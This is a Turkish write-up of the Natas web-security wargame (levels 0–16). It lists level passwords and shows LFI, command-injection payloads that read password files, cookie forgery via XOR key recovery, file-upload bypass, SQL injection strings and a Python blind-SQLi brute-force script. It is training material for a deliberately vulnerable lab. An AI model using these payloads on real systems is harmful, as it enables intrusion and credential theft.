Natas, sunucu taraflı web güvenlik temellerini öğretmek amacıyla hazırlanmış, basit düzeyden baya ileriye kadar seviyelendirilmiş bir challenge diyebiliriz.Toplamda 32 bölümden oluşuyor ve her bölüme bu url “http://natasX.natas.labs.overthewire.org” üzerinden erişiyoruz.Daha ayrıntılı bilgiye buradan ulaşabilirsiniz.
Level 0
natas0:natas0 username password’ü ile giriş yapıyoruz.Bize verilen hint “You can find the password for the next level on this page.” şeklinde.Kaynak kodu inceliyoruz.
natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto
Level 1
“You can find the password for the next level on this page, but rightclicking has been blocked!”
Kaynak kodu incelemek için rightclick yerine, F12 Developer Tools kullanıyoruz.
natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
Level 2
“There is nothing on this page.”
Kaynak kodu incelediğimizde files/pixel.png şeklinde bir path ile karşılaşıyoruz. files/ dizinine gittiğimizde “Directory Indexing” zafiyeti sayesinde users.txt dosyasına erişiyoruz.
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
Level 3
Yine “There is nothing on this page” şeklinde bir hint verilmiş. Kaynak kodunu incelediğimizde “No more information leaks!! Not even Google will find it this time…” ile karşılaşıyoruz.Google bile bulamaz ifadesi bize tabi ki robots.txt’yi çağrıştırıyor.http://natas3.natas.labs.overthewire.org/robots.txt adresine gittiğimizde /s3cr3t/ dizinini görüyoruz.Dizine gittiğimizde yine “Directory Indexing” zafiyeti sayesinde users.txt dosyasına erişiyoruz.
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Level 4
“Access disallowed. You are visiting from “” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/” “.
Bu açıklamadan HTTP headerları ile ilgilenmemiz gerektiğini anlıyoruz.”Refresh page” linkine tıkladığımızda isteğe “referrer” başlığı ekleniyor.Bu başlık değerini soruda bizden istenen şekilde düzenlediğimizde level 5 için parolayı elde ediyoruz.


natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Level 5
“Access disallowed. You are not logged in”
Burp ile isteği daha ayrıntılı incelediğimizde cookie başlığında bulunan “loggedin” değerini 1 yaptığımızda level 6 için parolayı elde ediyoruz.

natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Level 6
Basit bir form bizi karşılıyor.Önceki levellerden farklı olarak server tarafında çalışan kodları da görmemiz mümkün. Kodu incelediğimizde include komutu ile includes/secret.inc sayfasının bu sayfaya dahil edildiğini ve secret değişkeninin secret.ini sayfasında tanımlanmış olduğunu görüyoruz.Değişkenin değerini input olarak girdiğimizde level 7 için parolayı elde etmiş oluyoruz.
natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Level 7
Home ve About sayfalarına götüren iki link mevcut.Linklerin birine tıkladığımızda, page parametresiyle alınan değer sayfa içerisine include ediliyor. LFI zafiyeti sayesinde /etc/natas_webpass/natas8 dosyasını page parametresine verdiğimizde level 8 için parolayı elde diyoruz.
natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Level 8
Kaynak kod şu şekilde:
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
POST isteği ile alınan değer, sırasıyla base64_encode(),strrev(),bin2hex() fonksiyonlarına tabi tutulması sonucu elde edilen değerin $encodedSecret değişkenine eşit olması halinde natas9 için parolayı elde edebileceğiz.$encodedString değişkenine sırasıyla hex2bin(),strrev(),base64_decode() fonksiyonlarını uyguladığımızda oubWYf2kBq değerini elde ediyoruz.
natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Level 9
Kaynak kod şu şekilde:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
İstemciden alınan değer $key değişkenine atanıyor ve bu değişken doğrudan passthru fonksiyonu içerisindeki ifadeye yerleştiriliyor.Passthru, system fonksiyonu gibi sistem komutları çalıştırıyor. Yani kod “Command Injection” zafiyeti barındırıyor.
”; cat /etc/natas_webpass/natas10” # “ şeklinde bir input girdiğimizde,passthru fonksiyonu içerisinde ki ifade grep -i ; cat /etc/natas_webpass/natas10” # dictionary.txt gibi bir hal alıyor.
natas:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Level 10
Level 9 ile çok benzer bir senaryo.Fakat “For security reasons, we now filter on certain characters” şeklinde bir mesaj bırakılmış.
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
Linux sistemler için iki komutu birbirinden ayırabilecek “;”,”|” gibi karakterler filtrelenmiş. Burda atlanmaması gereken nokta grep komutunun dosya okuyabileceği.Yani /etc/natas_webpass/natas11 dosyasını grep ile okuyacağız. “a /etc/natas_webpass/natas11 #” şeklinde bir input girdiğimizde, passthru fonksiyonu içerisinde ki ifade “grep -i a /etc/natas_webpass/natas11 # dictionary.txt” şeklini alıyor.Yani /etc/natas_webpass/natas11 dosyasında içerisinde a veya A harfi geçen satırları getiriyor.Parola içerisinde a harfi mevcutsa, parolaya ulaşmış olacağız. A için başarısız oluyor, c harfi için aynı payloadı yazdığımızda level 11 için parolayı elde ediyoruz.
natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Level 11

Genel bir fikir sahibi olmak adına fonksiyonları inceliyoruz.

İlk olarak loadData fonksiyonu çağırılıyor.
<?
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
?>
Eğer cookie başlığında “data” mevcut ise, bu değer base64_decode(),xor_encyrpt(),json_decode() işlemlerinden geçtikten sonra $data değişkenine atanıyor. Data değerinin bulunmaması durumunda defaultdata değişkeni kullanılmaya devam ediyor.
Daha sonra çağırılan saveData fonksiyonunda;
<?
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
?>
Data değişkeni json_encode(),xor_encrypt() ve base64_encode() işlemlerinden geçtikten sonra cookie başlığına ekleniyor.
Bizi ilgilendiren kısım ise burası.

Data değişkeninde “showpassword” değeri “yes” e eşitse, level 12 için parola ekrana bastırılıyor.Yapmamız gereken cookie değerini düzenleyip “showpassword” değerini “yes” e eşitlemek.
Cookie yapısını biliyoruz : array( “showpassword”=>”no”, “bgcolor”=>”#ffffff”).
Bu yapıyı gerektiği gibi encode edebilirsek istediğimizi elde etmiş olacağız.Bunun için saveData fonksiyonunda ki sıralamayı takip etmemiz gerekiyor.
Xor_encrypt fonksiyonu nasıl çalışıyor buna bakıyoruz.
<?
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
?>
Her şey iyi hoş fakat şifrelemede kullanılan keyi bilmiyoruz.Biraz araştırma sonucu aşağıdaki denkleme ulaşıyoruz.
plaintext XOR key = ciphertext
plaintext XOR ciphertext = key
Burada plaintext’i “array( “showpassword”=>”no”, “bgcolor”=>”#ffffff”)” ve ciphertext’i yani cookie değerini biliyoruz.İki değeri xor_encyrpt() fonksiyonu ile şifrelediğimizde keyi elde etmiş olacağız.
<?
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=');
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
echo $outText;
?>
Burdan “qw8J” keyine ulaşıyoruz. Geriye istediğimiz cookie değerini bu key ile şifrelemek kalıyor.
<?
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt(json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"))));
?>
Bu scriptin çalıştırılması sonucu “ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK” cookie değerini elde ediyoruz.


natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Level 12
Dosya yükleyebileceğimiz bir ekran karşılıyor bizi.

.php uzantılı bir dosya atmayı deniyorum.


Yüklediğim dosyanın ismi ve uzantısından bağımsız olarak kaydedildi,jpg formatında olmadığı için yüklediği adrese gittiğimde dosyaya erişemedim.
<?
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
Kaynak koda göz attığımızda, dosyaların upload/dizini altına, random bir string ile kaydedildiğini görüyoruz.Dosya uzantısıda post isteğindeki “filename” parametresinden belirleniyor.Dosyanın kaydedileceği path belirlendikten sonra, eğer boyutu 1000 byte dan büyük değilse hedef dizine kaydediliyor.Bununla birlikte hedef dizin ekrana bastırılıyor.
php uzantılı bir dosya kaydedebilmek için post isteğinde ki “filename” parametresini düzenlememiz gerekiyor.
$_FILES karşıdan yüklenen tüm dosyaların bilgisini içerir.
$_FILES['kullanici_dosyasi']['tmp_name'] Yüklenen dosyanın sunucuda saklandığı sıradaki geçici dosya adıdır.


İlgili dizine gittiğimizde level 13’e ait parolayı öğreniyoruz.
natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13
For security reasons, we now only accept image files!
Bir önceki ile oldukça benzer bir kod çalışıyor.Farklı olarak bu satır eklenmiş.

exif_imagetype() fonksiyonu bir resmin ilk baytlarındaki dosya imzasını okur.Doğru imza bulunduğu takdirde uygun sabitin değeri döndürülür, aksi takdirde FALSE döner.
Yani php dosyasının file signature bitlerini, png formatıyla değiştirirsek bu fonksiyonu bypass etmiş oluruz.



natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14
Bizi bir login ekranı karşılıyor.


Kod SQLi zafiyeti barındıyor. " or 1 #
şeklinde bir payload girdiğimde;
$query = “SELECT * from users where username=” “ or 1 # “ and password=” “; bu şekilde bir sorgu çalışmış olacak.
username=” “ or 1 ifadesi her zaman 1’e eşit olacağından sorgu tüm satırları döndürür.
natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 15

Yine bir SQLi zafiyeti mevcut.Fakat bir öncekinden biraz farklı. Kod SQL syntax hatalarını vermiyor ve ekrana veri yansıtmıyor.Yani Blind SQLi zafiyeti mevcut.Ekrana veri yansıtılmadığı için dönen true-false yanıtlarına göre veriyi bizim inşaa etmemiz gerekli.
Natas16 adında bir kullanıcı olduğunu biliyoruz.
natas16" AND password LIKE BINARY "A%" #
şeklinde bir payload girildiğinde;
$query = “SELECT * from users where username=” natas16” AND password LIKE BINARY “A%” # “”; bu şekilde bir sorgu çalışacak.Yani natas16 kullanıcısının parolası A harfi ile başlıyorsa, sorgu sonucu ilgili satır dönücek ve ekrana “This user exists” mesajı yansıyacak.
Parolanın 32 karakter uzunluğunda olduğunu bir önceki seviyelerden biliyoruz.Bununla birlikte parola küçük harf, büyük harf ve rakam içeriyor. Manuel bir test yapılamayacağından , otomatize eden bir script yazıyoruz.
import requests
from requests.auth import HTTPBasicAuth
auth=HTTPBasicAuth('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
passwd=""
for i in range(32):
for char in chars:
payload = {'username' : 'natas16" and password LIKE BINARY "' +passwd + char + '%" \x23'}
s=requests.post('http://natas15.natas.labs.overthewire.org/index.php',data=payload,auth=auth)
if "This user exists" in s.text:
passwd=passwd+char
print passwd
break
natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh